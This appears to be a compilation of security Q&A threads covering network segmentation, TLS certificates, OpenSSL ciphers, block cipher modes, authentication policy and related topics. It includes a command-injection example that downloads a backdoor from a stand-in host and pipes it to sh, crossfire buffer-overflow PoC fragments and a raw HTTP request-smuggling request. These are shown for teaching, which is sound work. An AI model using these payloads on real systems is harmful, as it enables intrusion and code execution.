So in short having peering isn't an issue as long as you have strong control to segregate access to sensitive systems. If your RDS does not contain sensitive information but your PCI systems still require to read from the RDS, you can put rules in place that your PCI scoped systems can pull information from the RDS but the RDS itself cannot push information. If your RDS is not a CDE, then I suggest you move it out. Ideally you have three tiers of network, where one is your CDE, one is a middle ground for information exchange and one is your more "general" environment. This will make it easier for you to segregate and apply monitoring as well.


Layer model for information security - scientific name? Some days ago, I was talking with a friend about the Snowden revelations and its impact on Infosec awareness and how quite a number of (supposedly) secure alternatives to established services have emerged in the last month.

However, we quickly agreed on the fact that all that application layer security (if it indeed works) is useless if you don't trust all underlying layers, such as the OS (might be backdoored) or even the hardware (there were some really spooky news about the NSA fiddling with hardware sent via mail). This idea seems so basic and intuitive, yet I wasn't able to find any scientific literature on it. Is there a commonly used name for it?

The term you are looking for is defense in depth.

It's a term that describes security defences structured so to be layered around what you want to protect; this includes not only security of all ISO/OSI layers but also e.g. physical security:

server room with locked doors
security badges to access the building
security guards inside and outside the building
background checks on personnel
personnel training against social engineering attacks
insurance for theft, loss of service, legal issues etc.
anything else for which an attack is feasible

Note that a protection model based only on information security, without e.g. physical security, is doomed to failure.


How to ensure reliable source for installation? There are a lot of good and reliable sources, like Tails or a specific ISO-image, eg. debian-live-8.7.1-amd64-gnome-desktop.iso.

How can I ensure that my Internet connection is delivering the original/expected and 100% reliable resources?

NOTES

My imagined solutions (but need a complete answer with a rationale):

use the checksum files. Today SHA1 is not perfect (need SHA256) ... is it 100%  for integrity/authenticity of big files? What is the size/reliabilty mathematical relation in this case?
use my house internet connection. How to check if the download page (at cdimage.debian.org  or tails.boum.org in the examples) is not corrupted before getting a reliable system and browser?  How to do it in China, for example?

When downloading an image, there is usually a checksum file provided as well (delivered over https). When downloading individual packages, many Linux distros have GPG verification built into the package manager. And for general network operations, increasingly the web is moving towards using TLS to secure everything.


How to rank the security strength of a cloud SaaS app If my manager asked me to rank how secure/vulnerable our SaaS system is, what methods are available to do so?

I know there are certifications available but I'm looking for something which can be done in house.

Also, looking for a system of evaluation that is somewhat formalized.

First of all you need to understand what threats and vulnerabilities you protect from and measure your security level against identified risks (e.g., it's useless to have an ability to encrypt sensitive data if you don't have such data). So you need to complete the following steps:

Identify risks and possible threat vectors.  NIST SP 800-53 with its risk assessment approach would be helpful to start with that.
Define applicable security controls. Cloud Security Matrix and Self-Asessment Questionnaire from Cloud Security Alliance would be helpful.
Map security controls to the risks you identified on step 1. As a result you will recieve a matrix with information what your solution is protected from and existing security gaps.

These steps are applicable to a new service or to the existing one. Of course, other secure SDLC techniqes such as penetration testing, static code analysis, dynamic scanning etc. should also be in place and should be performed on regular basis.


OpenID Connect: Why use authorization code flow? I have a question about implementing OpenID Connect I was hoping I could get some help on. I understand the different flows and get that the authorization code flow is good because it allow client credentials and server-to-server communication is more secure than communication through the user agent. But even so using the intermediary code seems unnecessary if the client and OP were to use authenticated encryption on their correspondence through the user agent. Groundhog Day attacks could either be restricted through the use of a very short expiration time specified within the message or eliminated with a preliminary request to the OP for a nonce. Assuming a strong enough encryption, i.e. AES-256, I would think that even refresh tokens could be sent through the user agent with negligible decrease in security. Are there any other considerations or reasons why this could/should not be done that I may have overlooked?

Even though the connection between user agent and servers are secure, the user agent may not be fully protected. Since authorization code flow ensures the user agent is not privy to the tokens, security is improved by reducing exposure of tokens to between servers only.


TLS certificate in redundancy setup One of the customers does not have FQDN, only virtual ip, and two servers.
Primary and Secondary. Do we need to generate and install two seperate TLS certificate for both the servers. Or can we assign a FQDN and use one single wildcard certificate in redundancy setup ?

The two server may:

Have the same certificate
Have different certificates covering the same domain(s)
Have different certificates covering different domains, even with wildcard (but at least covering the domain you want for redundancy).

Valid examples:

For example.com:

Server1 certificate covers example.com
Server2 certificate covers www.example.com,example.com

For example.com:

Server1 certificate covers example.com
Server2 certificate covers *.example.com,example.com

For www.example.com:

Server1 certificate covers www.example.com
Server2 certificate covers www.example.com,example.com

For www.example.com:

Server1 certificate covers www.example.com,example.com
Server2 certificate covers *.example.com,example.com

Invalid example:

For example.com:

Server1 certificate covers example.com
Server2 certificate covers *.example.com
Because *.example.com is NOT valid for example.com

Security notes: Be careful, if the certificate of a server covers MORE domains than the server is supposed to answer, it may be vulnerable to virtual host confusion attacks.


Basic question regarding OpenSSL and AES-GCM While researching how to encrypt private keys for SSH connections as securely as possible, I have run into the following very basic understanding problems (Note: I have used the newest stable release 1.0.2h of OpenSSL for my research):

man enc states that the enc utility does not support authenticated encryption modes like GCM. On the other hand, I am using TLS 1.2 ciphers like ECDHE-RSA-AES128-GCM-SHA256 on my web server which uses OpenSSL for encrypting connections, and I have checked that those ciphers indeed are negotiated when connecting via SSL / TLS to the respective web site.

So OpenSSL obviously is able to encrypt data in AESxxx-GCM mode. I would have expected that OpenSSL uses the same code to encrypt data when called via openssl enc as it uses to encrypt data while providing SSL / TLS functionality to web servers.

Did I misunderstand something? What's the reason that OpenSSL supports AESxxx-GCM while doing TLS / SSL, but can't encrypt data directly that way when called via command line?
A common method to view the available cipher names (not cipher suites) is to call openssl enc with a wrong parameter, e.g. openssl enc --help. This makes openssl print a short help, including the available cipher names. In my case, the output includes multiple AES-GCM ciphers. Why does openssl enc claim to support those ciphers while the respective man page claims it does not?

OpenSSL implements almost a dozen symmetric ciphers, and several dozen cipher-mode combinations, but provides a (nearly) single interface to all of them in the EVP module (i.e. external function and type names beginning EVP_) documented here online or in the (crosslinked) man page for EVP_{Cipher,Encrypt,Decrypt}* and EVP_CIPHER_* and EVP_CIPHER_CTX_* on any Unixy system with OpenSSL installed. (If you built/installed it yourself rather than using the package manager or equivalent for your OS or distro, you may need to use MANPATH or other man options to find the man pages.) Similarly numerous digest/hash algorithms and public-key (and hybrid) encryption and signature algorithms are accessed through generic interfaces; see man evp. But the AEAD modes (GCM and CCM, plus OCB planned in 1.1.0) do not exactly fit the generic API and require additional 'control' calls, see the sections 'GCM and OCB modes' and 'CCM mode' in the above man page.

The SSL-and-TLS module (top-level directory ssl/ in the source) contains code in t1_enc.c that does different EVP calls for (implemented) AEAD suites, in the same way it also handles variations for CBC and stream ciphers, obsolete but still coded 'export' ciphers, TLS1.1 vs earlier IV handling, and other protocol options and variations.

But commandline enc in apps/enc.c only uses the generic interface and not the AEAD specials, although there is an unassigned entry in the request tracker (login guest/guest) to add this. The commandline utilities in general are fairly minimal wrappers around functionality in libssl and libcrypto, and if you want something complete, polished, convenient, etc. the idea is you should either modify or replace them.
For this case you (would) need to define how the tag, and possibly AAD, is handled in the ciphertext file format, which is currently simple to the point of being trivial -- and remember any change that doesn't work with the probably millions of enc files users have stored over the past two decades won't be accepted by anyone but you. (update) The bugtracker moved to https://github.com/openssl/openssl/issues/471 where it is 'resolved' in 1.1.1 -- by documenting that enc does not and will not support AEAD. Also note that the early 1.0.1 releases, through patch g (2012-03 to 2014-04) failed to give an error message for this case; you could run the enc command with a GCM or CCM cipher, but it discarded the tag on encryption and gave an error on decryption.

Remember also that enc with a password (not actual key and IV using -K uppercase and -iv) uses a very poor PBKDF, a variant of PBKDF1 see EVP_BytesToKey with only one iteration.
See
openssl: recover key and IV by passphrase
and openssl enc uses md5 to hash the password and the salt
and https://crypto.stackexchange.com/a/35614/12642 (disclosure: mine).
Worrying about using best-practice ciphers like AES256-GCM with this PBKDF is like the proverbial gilding a cow turd.

The usage message for openssl enc -invalid lists all symmetric ciphers/modes in EVP, even those enc doesn't support. If you care, you could report this as a bug. openssl list-cipher-algorithms (planned space instead of first hyphen in 1.1.0) does the same, but openssl list-cipher-commands (ditto) lists only those usable as commands, which excludes the AEAD ones. (updates) In 1.1.0+ all command parsing is rewritten and the usage messages are replaced by -help which for enc does not list ciphers; the explicit commands are now list -cipher-{algorithms,commands} i.e. space and hyphen.

Finally, you mention but don't actually ask about SSH. If you mean OpenSSH (which is not the only SSH), FYI OpenSSH before 6.5 ssh-keygen actually uses OpenSSL libcrypto to write privatekeys in OpenSSL's 'legacy' formats (PEM types RSA PRIVATE KEY, DSA PRIVATE KEY, EC PRIVATE KEY) which also use EVP_BytesToKey with one iteration. But ssh-keygen and ssh and sshd using OpenSSL read routines can also handle OpenSSL's 'new' (circa 2000?) PKCS#8-encrypted format, PEM type ENCRYPTED PRIVATE KEY, which can use PBKDF2 with 2048 iterations through 1.0.2 (good around 2000, barely adequate now) and planned configurable up to INT_MAX in 1.1.0. OpenSSH beginning 6.5 (2014-01) has an option -o for its own (non-ASN.1 but still PEM) format using bcrypt, and forces that option for key type ed25519 (which OpenSSL doesn't support, at least not yet). (updates) OpenSSL 1.1.0 (2016-08) did add -iter N and optional -scrypt* for PKCS8 as expected; OTOH OpenSSH 7.8 (2018-08) made its own 'new format' the default; -o is no longer needed, and if you want to get the old and bad legacy formats you use -m pem.


Can Certificate be validated locally When I establish TLS/SSL with some server he sends me the certificate in the process. The certificate is signed by a certificate authority.

In my PC/browser I have a list of trusted certificate authorities.

Do I send the certificate to the authority or I validate it locally (checking the certificate's signature using data stored within the certificate authority list)?

(note: if needed take the browser for the example TLS/SSL client)

Certificates are validated locally. However, the client may contact the CA repository if some pieces of information are missing. For example, if an intermediate CA certificate is missing from the local store and the web server didn't return it during the handshake, the client may download the missing certificate from the CA repository. Additionally, the client can check certificate revocation by contacting the CA via OCSP or by downloding a CRL from the CA repository when no up-to-date revocation information is stored in the local cache.

Signature and chain validations are always performed locally.


What does "probability space is over coin flips of algorithm M" mean? In the book The Algorithmic Foundations of Differential Privacy by Cynthia Dwork, Aaron Roth on page 16 (actually page 20 in the pdf viewer) it says at the very bottom of the page:

  Definition 2.2 (Randomized Algorithm). A randomized algorithm ℳ
  with domain A and discrete range B is associated with a mapping
  M : A → ∆(B). On input a ∈ A, the algorithm ℳ outputs ℳ(a) = b with probability (M(a))b for each b ∈ B.  The probability space is over the coin flips of the algorithm ℳ.

What does the final sentence mean?

Someone said the authors might mean that once you've performed the recipe described in that paragraph, you perform the plausible-deniability double-coin-flip trick described under 2.3 on page 15. Is that what is meant?

I have contacted the authors and they were very helpful. The original quote says it all:

  The book is about randomized algorithms that act on data sets. You can always view these as deterministic algorithms, which take two inputs -- the data set, and also a string of random bits.

  The definition of differential privacy has a probability operator, and what that remark means is that the probability is taken over the randomness of the random bit string (i.e. the internal randomness of the algorithm), holding the data set fixed.

The key to this is that the definition says: "the algorithm ℳ outputs ... with probability ...". This is a random choice, and the source of randomness is defined by the sentence "The probability space is over the coin flips of the algorithm ℳ".


best practices for handling self-registration? For example, with a bank's credit card activation/registration, that user is required to authenticate with a unique code that was mailed to their address. If they don't get that mailout-with-the-code, they'd be SOL.

With that in mind, we'd like to do a self-registration system for a site where a potential registrant could login and self-register to creating an account by successfully answering some personally identifying information (SSN, DOB, address etc.) that we already have on file.

Obviously, this seems less secure than requiring that multi-factor item of the activation code.

I've gone over a lot of OWASP authentication cheat sheets and combed through the payment processing industry best practices and glossed over PCI DSS but I can't seem to find something that would indicate that the scenario that we're planning on implementing for self-registering would be minimally "acceptable" or non-compliant.

Any suggestions?

I would refrain from using details that, despite being personally identifying, are available to other people as well. I dont know how secret the SSN is on the US, but here in Europe it is quite possible that someone would knew my SSN. Date of birth: Is on my facebook. Adress: Is in the public phonebook.

You need to find a datum which is only accessible to you and the registrant at the time of registration and satisfies some kind of identification at the same time. It comes down to asking "Is it really you who is registering?" via some other means than the current browser session. If you do not have an email or phone number already, this will be very difficult.

If you are sending out invoices or some other kind of letters, you could ask for the last invoice number. But still, this could be found in the paper waste by someone and he could register on behalf of the poor victim.

The only remaining 2-factor-auth that would work is sending out a letter by mail with some auth code. This would take a few days, but it is rather hard to intercept since the attacker would have to live in the same househould and must be able to check the mail every day.

Are you doing payment business? It´s delicate, so it´s your obligation to really identify those people correctly.


What is the best way to manage package signing keys? I am researching a way to protect, and enable accountability of, our packages when being transferred from our dev team, through to Q+A and eventually to deployment.

I have initially created a signing box that our devs can log on to and sign the rpm's using their GnuPG created key. They then move the signed package to an 'outbox' directory for QA to pick up, and move their public portion of the key to a 'public key' directory. This however is not ideal as multiple (fake) public keys can be made by each user...

The ultimate aim is to force each completed package to be signed by a single developer to ensure accountability and integrity as the package moves to our operations platform.

Therefore, I have a few areas that I need help/suggestions with:

What is the best way to ensure only one key is made by each user? (A script maybe?)
What is the best way to store and retrieve these keys that ensures integrity?

Many thanks.

You cannot prevent anybody from creating a new key pair. But you can maintain a list of "allowed key pairs" where you insert only one key pair per developer, and whenever you validate a signed rpm, you use that list as your trust base.


Why do some bank websites use passwords that are not case sensitive? It was recently brought to my attention that a certain big bank website allows users to log in with passwords that are not case sensitive. After confirming this, I checked other websites I bank with and found a second big bank website that does the same thing. I did not check their mobile clients.

To me it seems like this lowers security, as this increases the number of unique passwords that can be used to log in to my account. Is there a common reason and/or justification for this from a security standpoint? The top non-security reason I could come up with is that it reduces calls to the helpdesk related to case sensitive passwords.

The most likely reason is that the backend only supports case-insensitive passwords.  To quote OWASP:

  Occasionally, we find systems where passwords aren't case sensitive,
  frequently due to legacy system issues like old mainframes that didn't
  have case sensitive passwords.

The chances of this happening are much higher with stodgy old institutions like big banks that are still running mainframes in the datacenter.


Buffer Overflow PoC code \x11(setup sound I am reading the PWK course book, the chapter of Linux Buffer Overflow:

  Once the crossfire application is running, we can use the following Proof of Concept
  (PoC) code, found on the Exploit Database to crash the application.

...
crash="\x41" * 4379
buffer = "\x11(setup sound " + crash + "\x90\x00#"
...
s.send(buffer)

  Once we run this script, the debugger spits out the following error message, which clearly indicates a buffer overflow condition in the setup sound command:

Then a window popup shows "... segmentation fault. The address 0x41414141 cannot be accessed". This is the expected result, because EIP has been overwritten by \x41\x41\x41\x41.

My question:

I understand those buffer overflow, EIP stuff. My question is just about this special string before \x41\x41...\x41:

"\x11(setup sound

What is this means? What means setup sound command?

According to https://vuldb.com/?id.29211 there is a memory corruption in the function setup of request.c. While I'm not familiar with the full details of the vulnerability, the exploit connects to a socket so it is presumably part of the networking protocol. The \x11setup sound string is likely the syntax that causes the server to invoke the setup function in request.c if you cannot cause the code execution to enter the vulnerable function then you cannot trigger the vulnerability.

You usually see a semblance of correct syntax in network protocol and file based exploits for this reason. This exploit for example, contains several FTP syntax commands to reach the vulnerable function: https://github.com/wireghoul/sploit-dev/blob/master/freeFTPD-bof.pl


Is running bash script that is taking arguments from site dialog box a good idea? I'm building a site that will use youtubeAPI to keep track of playlist changes.
In order for 3rd party to use it I would supply a dialog box in which user would type his/hers playlistID - this would be read and then put as an argument into bash script that in turn runs curl/python scripts to connect with API (ran on my machine) and another bash script that would mkdirs on my disk.

Does this potentially endanger me/my files somehow ?
Can someone input some magic command that would do "rm * -f" or similar malicious endeavor ?
Should I use some external server instead of my machine ?

I know nothing about security, Ive read few topics here but didnt find similar problem.

The Issue

First, you asked about the danger of doing this. Functionality like this, if not properly implemented, may result in a critical vulnerability known as command injection, which generally allows an attacker to run arbitrary shell commands.

I do not know what language/framework your website uses, but let's assume it is PHP, and you have PHP code similar to the following:

system("/usr/local/bin/my_custom_bash_script -p " . $_POST["playlist_id"]);

This code takes a value submitted from the user (the playlist ID) and concatenates it with another string to run a shell command, which is usually passed to /bin/sh -c. Consider if the submitted playlist ID looks like:

; curl https://evil.example/install_backdoor | sh

or

<some_playlist_id>$(curl https://evil.example/install_backdoor | sh)

In the first case, a semicolon tells the shell that what follows should be executed as a separate command. In the second case, $(...) tells the shell to execute the contents in a subshell. There are various other special characters that the shell interprets that can be used for malice in these scenarios (e.g. |, ||, &&, `` etc.)

Mitigation

In PHP, for example, there exists escapeshellarg which is meant for this purpose. It ensures that whatever is passed to it is only treated as a single argument when passed to the shell. Depending on what language you are using, there should be an equivalent to this. Or, as other answers mentioned, you could use a regex to whitelist safe characters.

Since your scripts are calling other scripts, you should also watch out for 2nd order (or n-order) command injection vulnerabilities. Make sure none of those scripts you run are using eval or system-like functions with the untrusted data unless it has been thoroughly validated, or consider merging your functionality into the web application so that external scripts are not called at all.


Media content protection I have been trying to encrypt media(Video and audio content) from a nodejs server to a client like android or iOS. I heard of DRM but could not get a reliable implementation of DRM.

I wanted to make my own implementation of protecting my content, But am not sure issues i would have with my implementation.

THIS IS MY IMPLEMENTATION.

Clients like android would first get authenticated from my server, then my server would pass a token to the android client, then this android client would request for the protected media with some request like

/get/video/:id/:token

Where id is the video content id and the token in this case is like the key, if the client doesn't have a valid token then the data will not be given to client.

QUESTION: Will this implementation work, can it protect my content from unauthorised clients, what are some of the drawbacks of using this?

Two main competing DRMs are PlayReady (Microsoft) and Widevine (Google), but you won't find any specification. What you can do, just to start understand how it works. Read HDCP2 specification, it's open to public. It's not DRM, but content protection. Then you'll get some ideas. Also read https://w3c.github.io/encrypted-media/ see a block diagram. It's not DRM, but explains how DRMs are used with a common framework.


Is it safe to publish my development private key? For my development environment, the following three SSL files allow me to access my application from https://localhost on my local machine.

Private key: server.key
Certificate signing request: server.csr
Self-signed certificate: server.crt

Is it safe to publish these files (publicly) to Github?

Of course, for the production environment, I'd use different SSL files and keep them private.

I think in case you will be using different SSL key, cert, and request in final solution. There no need to worry about publish them online.


Why are Adobe Flash exploits found so often? Over the last couple of years Adobe Flash published bug fixes for (zero-day) exploits so often, that the installation is already annoying. But why are exploits so often found in this particular software?

One obvious reason: as with all widespread software Flash is one of the most widely used programs and therefore a prior target for criminals, intelligence agencies and others.

But I also think that the software engineers at a company like Adobe aren't unskilled and don't try to minimize attack vectors.

Adobe Flash is 21 years old (started as FutureWave's SmartSketch), over the years it had to be able to deal with many different OS's, standards, and all the quirky restrictions they brought along with them.

Most of the work done on Flash is aimed at keeping it up-to-date with the latest technologies, adding more and more features over time. This doesn't leave much time for reviewing old code for potential security issues.

Combining these two factors gives a perfect recipe for long lasting bugs buried deep in the code.


How to sniff 802.11 packets without going into monitor mode? Is it possible to sniff or capture 802.11 packets which sends my computer to the router (AP). I know that I can't sniff packets which have a other destination MAC address without going into monitor mode, but is it possible to capture and see the 802.11 packets which are sent from my computer to the AP and received from the AP?

I want to use my default network adapter to do this (No monitor mode support). Is it possible?

No.  You absolutely can see frames you generate or are destined for your radio without monitor mode. With the exception of the initial 802.1x handshake, unfortunately.  You will need something like wireshark or tcpdump.  However if you're talking about the 802.11 EAP you'll need a device you can use in monitor mode since they aren't passed through as standard frames: (might I suggest an ALFA AWUS036H)

They both rely on something called libpcap to allow you access to the layer2 messages your network devices see. Now this isn't perfect and the packets can get modified before you see them by your NIC.  (eg. if you're capturing on a windows system, you'll likely see errors for TCP and IPv4 Checksum mismatches, that's due to a feature called TCP Offload Engine.)  Monitor mode should get passed those limitations.

Unfortunately I'm not aware of any way to grab the pre-auth 802.1x packets without monitor mode.  The first frame you'll see inside a pcap like this is likely the DHCP request frame.

What might work, is if you install a virtualization environment (VirtualBox or Vmware for instance) and then attempt to setup bridge mode on the interface and then use the virtual adapter to snoop the 802.1x frames.   You will need to authenticate within your virtual machine but then you could presumably snoop it through the virtual interface.


Symmetric vs asymmetric encryption for backup files uploaded to cloud storage I want to encrypt my server's backups and upload them to cloud storage (e.g. dropbox, google drive).

I understand the basics with symmetric (single passphrase-secured key) and asymmetric (public/private keypair) encryption. But I don't know which would be more appropriate in my specific use case.

I've read many related questions and there seems to be a 50/50 split between people who recommend the one way or the other (for this specific use case) - but I can't find a reason why.

I know that asymmetric is used when one can perform key exchange between parties, and that it is much slower. So symmetric is typically used to encrypt large payloads.

In my case, my daily backups are a few hundred megabytes each, and there is no key exchange because I am both "sender" and "receiver". And these are secondary backups - I will only decrypt them if my primary backups fail.

So I was planning to store on the server a very long (e.g. 100 char) passphrase, and use it for automated backups using gpg symmetric encryption, which is simple to manage. Is this good enough, or should I rather use asymmetric encryption?

Generate a reasonable long (around 200 bytes) symmetric key, use it to encrypt your backups, and encrypt the symmetric key with a long, secure and protected asymmetric key.

Symmetric key is faster to encrypt, that's why SSL use symmetric keys for encrypting the traffic. It uses asymmetric keys to exchange the symmetric session key. You should to the same.

Using the same key for every backup creates a situation that leaking the key once means every backup can be compromised. Having a different asymmetrical key for each backup means keeping track of every key, for as long as the backup is kept.

And you use the public asymmetric key to encrypt the symmetric one, so the private key is kept protected.

My answer to another question have some more insights.


bitlocker and data retrieval The data on my hard disk was deleted from an encrypted bitlocker hard disk. After deleting the data, a new partition including a new installation of windows was created on the same hard disk. The key to the original bitlocker encrypted data is available.

Using commercial software for data retrieval has proven to be difficult. Is it possible to retrieve the lost data?  If it is, what needs to be done to retrieve it?

Unfortunately I think it's highly unlikely that you'll be able to recover any of the original encrypted data. Even if the data wasn't encrypted, the new installation of Windows would have overwritten many of the original files. The encryption that was originally there makes it nearly impossible.

Commercial data recovery software works by scanning empty portions of the hard drive for certain file signatures that would signal the start and end of a file. For example, JPG images always start with "FF D8 FF E0", so if the data recovery program sees this sequence of bytes in the disk, it would know that this is the start of a JPG image and proceed to attempt recovery. If the data is encrypted, however, data recovery software will not be able to find any signatures because all of the data will be scrambled. It will have no way of knowing whether a sequence of deleted bytes is data that was originally encrypted, or just a random sequence of nothingness.

Even if you could extract all of the remaining encrypted data on the HDD, it probably won't be decryptable because you'll still be missing the parts that were overwritten by the new Windows installation.


Block chaining modes to avoid Everyone knows that ECB operation mode with a block cipher should be avoided because of clear and obvious weaknesses. But little attention is given to comparison of the other modes in the context of security, and people instead appear to simply prefer the oldest mode: CBC.

Are there security caveats with respect to other common operation modes? This is specifically in the context of stream encryption rather than special-purpose functions that might have very specific operational requirements (i.e. TrueCrypt et.al.).

For example, the simplicity of OFB mode is appealing as it completely masks the nature of the underlying block cipher, turning into an easy-to-use stream cipher. But the fact that the cipher "output" is directly XORed with the plaintext to produce the ciphertext is vaguely unsettling, and smells like there's room for a chosen plaintext vulnerability.

Of the common operation modes, are there any that we should avoid for stream encryption, or situations in which we should avoid any given one of them, or reasons to prefer one over another? Besides ECB, of course.

Specifically, CBC, OFB, and CFB operation modes, as those are nearly universally supported. And possibly CTR 'cause everyone knows what it is.

OFB and CTR turn the block cipher into a stream cipher. This means that care must be taken when using them, like for RC4; reusing the same stream for encrypting two distinct messages is a deadly sin. OFB is more "delicate" in that matter. Since OFB consists in encrypting the same value repeatedly, it is, in practice, an exploration of a permutation cycle: the IV selects a point and OFB walks the cycles which contains this point. For a block cipher with block size n bits, the average size of a cycle should be around 2n/2, and if you encrypt more than that, then you begin to repeat a previous segment of the stream, and that's bad. This can be a big issue when n = 64 (e.g. you use 3DES). Moreover, this is an average: you can, out of (bad) luck, hit a smaller cycle; also, if you encrypt two messages with the same key but distinct IV, you could (there again if unlucky) hit the same cycle than previously (only at a different point).

The bad point of OFB is that it is hard to test for these occurrences (if the implementation includes the necessary code, it can test whether these unwanted situations occur, but this cannot be done in advance, only when part of the encryption has already been done). For CTR, things are easier: CTR is encryption of successive counter values; trouble begins when a counter value is reused. But a counter behaviour is easy to predict (it is, after all, a counter) hence it is much easier to ensure that successive messages encrypted with the same key use distinct ranges of counter values.

Also, when encrypting with CTR, the output begins to be distinguishable from pure random after about 2n/2 blocks, but that's rarely lethal. It is a worry and is sufficient to warrant use of block ciphers with big blocks (e.g. AES with 128-bit blocks instead of 3DES and its 64-bit blocks), but that's a more graceful degradation of security than what occurs with OFB.

To sum up, don't use OFB; use CTR instead. This does not make CTR easy to use safely, just easier. To avoid botching it, you should try to use one if the nifty authenticated encryption modes which do things properly and include integrity check, a necessary but often overlooked component. EAX and GCM are my preferred AE modes (EAX will be faster on small architectures with limited L1 cache, GCM will be faster on modern x86, especially those with the AES opcodes which were defined just for that).

To my knowledge, CFB does not suffer as greatly as OFB from the cycle length issues, but encrypting a long sequence of zeros with CFB is equivalent to OFB; therefore, it seems safer to prefer CTR over CFB as well.

Almost all block cipher modes of operation have trouble when reaching the 2n/2 barrier, hence it is wise to use 128-bit blocks anyway.

Note: CFB and OFB have an optional "feedback length". Usually, we use full-block feedback, because that's what ensures the maximum performance (production of n bits of ciphertext per invocation of the block cipher). Modes with smaller feedback have also been defined, e.g. CFB-8 which encrypts only one byte at a time (so it is 8 times slower than full-block CFB when using a 64-bit block cipher). Such modes are not as well supported by existing libraries; also, small feedback loops make the OFB issues worse. Therefore, I do not recommend using CFB or OFB will less than full block feedback.

As pointed out by @Rook: CBC mode, like ECB but unlike CFB, OFB and CTR, processes only full blocks, therefore needs padding. Padding can imply padding oracle attacks, which is bad (arguably, a padding oracle attack is possible only if no MAC is used, or is badly applied; the proper way being encrypt-then-MAC). For this reason, padding-less modes are preferable over CBC.

This leads us to a clear victory of CTR over other modes, CFB being second, then CBC and OFB in a tie, then ECB (this is a bit subjective, of course). But, really, use EAX or GCM.


Is a secret PGP key considered compromised if it reaches the net? I started to reverse engineer the ProtonMail system a bit and noticed that ProtonMail keeps all the ASCII armored private keys in their plain text form on their servers, and the only thing protecting them is the standard defined OpenPGP integrated passphrase protection.

More information here.

Now, ProtonMail claims they keep the key encrypted on their servers, but based on network traffic sniffing, I was able to recover my secret key that the server returns in plain text and I was able to import it into GnuPG.

Is a PGP secret key considered compromised if it reaches the internet unencrypted, ASCII armored, passphrase protected?

Here's a different take:
All the encryption in the world doesn't matter if the password is brute-forceable.

You should assume the key is compromised if the time since it was made available is longer than feasible time to crack the password.

Even that only creates an upper-bound to it's security, any weaknesses in the password and encryption implementation will reduce the time to compromise.

In short - yes assume it is compromised; then decide what that means for you.
If it's just that someone could read emails full of gossip, probably not an issue.
If it's used for securing legally protected information then revoke the keys, generate new ones (with new password) and rebuild your trusts.

Unfortunately PGP doesn't offer forward secrecy, so any historic emails encrypted to those released keys have eternity to be brute-forced; that data is no longer private.


How often should we force users to re-authenticate when not on the network? Our company has rolled out MFA to our users. We are a Microsoft shop, so we are using Azure AD to handle MFA and authentication to things like email, Teams, Sharepoint, etc. By default, we've disabled MFA prompts when users are on our company network. But of course, since almost everyone is working remotely right now, this policy is never in effect.

The biggest pushback we are seeing is that we have set the token expiration to 24 hours. So our users must sign back into Teams, Office and Outlook on their own phones and computers every 24 hours. This is understandably frustrating for our users.

We noticed that he default sign-in expiration when setting up Azure AD is 90 days. This seems a bit long to us. But are we at a heightened risk if we set the expiration to a week? Or two? I've looked everywhere, and can't see anything related to best practices around this. If anyone has links to trusted publications that can outline best practices for how often to prompt for credentials, it would be really appreciated!

There is no "best practice" for this. This requires a risk assessment.

Risk assessments look at the impact of having one setting or another in context, with a defined threat model.

You have several contexts to consider:

admin users and senior management have greater risks with their accounts
how exposed is your corporate network to unauthorised people?
are the devices controlled, secured, and monitored?
how trustworthy are your employees?
what other mitigations do you have in place if an account is compromised?
what are you using the timeout for?

For many, a timeout of 90 days is just fine for:

low priv users
in a secured building
with company devices
with strong security hygiene
account monitoring, deactivation procedures, absence monitoring
where the timeout is to prevent old, unused, or infrequently accounts from being misused by malicious actors with local access

Specific Example:

In my contexts, once an account is compromised, the most common case, by far, it is immediately used to spam other company accounts to send a phishing link. Once a juicy account is found, it is immediately used to dig deeper into the network or launch ransomware. An MFA account timeout doesn't help against this threat. Compromised accounts have their credentials reset.

Heightened Risks

Are you at a heightened risk to extend the timeout from 1 day to 2 weeks? Of course. But that's not the question. Are the risks of extending the timeout to 2 weeks acceptable? There is no standard or "best practice" for that question. That's what a risk assessment is for.


Does a VPN Provider Know My MAC Address? I know MAC is a layer 2 address, so it's only sent to the next router in the chain.

Does a VPN provider get that information when I'm connected to their service? Is their router considered the next router or is my actual physical router next in chain?

No, they do not. Tunnel interfaces don't have media addresses assigned to them. In any case the address assigned to another interface, such as a virtual bridge for virtual machines, would different from your network card.


why the website cant understand my request in http smuggling? hi I started to find bug bounty vulnerabilities and i think i found a te.cl vulnerability in a website.
i send
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: subdomain.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 6

0

GET / HTTP/1.1
Host: subdomain.domain.com

and i get in return
HTTP/1.1 302 Moved Temporarily
Location: https://other_subdomain.domain.com/somewhere/
Server: server_name
Content-Length: 0
Date: Thu, 04 Feb 2021 02:27:57 GMT
Connection: keep-alive

HTTP/1.0 400 Bad Request
Server: AkamaiGHost
Mime-Version: 1.0
Content-Type: text/html
Content-Length: 216
Expires: Thu, 04 Feb 2021 02:27:57 GMT
Date: Thu, 04 Feb 2021 02:27:57 GMT
Connection: close

<TITLE>Bad Request</TITLE>

Bad Request

Your browser sent a request that this server could not understand.

Reference&#32;&#35;7&#46;9697f648&#46;1612405677&#46;0

what did i miss? how can i make the second request be a legitimate request?

what did i miss?

You've missed that you've explicitly constructed a request which is open to multiple interpretations and that the best answer a server could do to this is to reject this request. And that's exactly what the server did, i.e. perfectly normal and sane behavior.

how can i make the second request be a legitimate request?

Ideally, all servers would reject such kind of requests. There are many other ways requests might be open to multiple interpretations - see for example HTTP request smuggling. If you are lucky some of these methods work, but from the perspective of security I hope that none work against the specific target.


Why was ECMVQ dropped from NSA Suite B? I've found two mentions on Wikipedia that Elliptic Curve Menezes–Qu–Vanstone (ECMVQ) was dropped from NSA's Suite B however they seem to imply different reasons. One mention is preceded by talk of how some Elliptic Curve algorithms are covered by patents which suggests this is why is was dropped however the other mention is preceded by talk of weaknesses in MQV which suggests to me that this is why it might have been dropped. Some brief Googling couldn't reveal any other sources for it being dropped or why it happened.

So is it known why ECMQV was dropped from Suite B?

By statute and out of tradition, the NSA operates in hidden ways. So the exact reasons of why the NSA did something or did not cannot be rigorously known. However, one can make some guesswork.

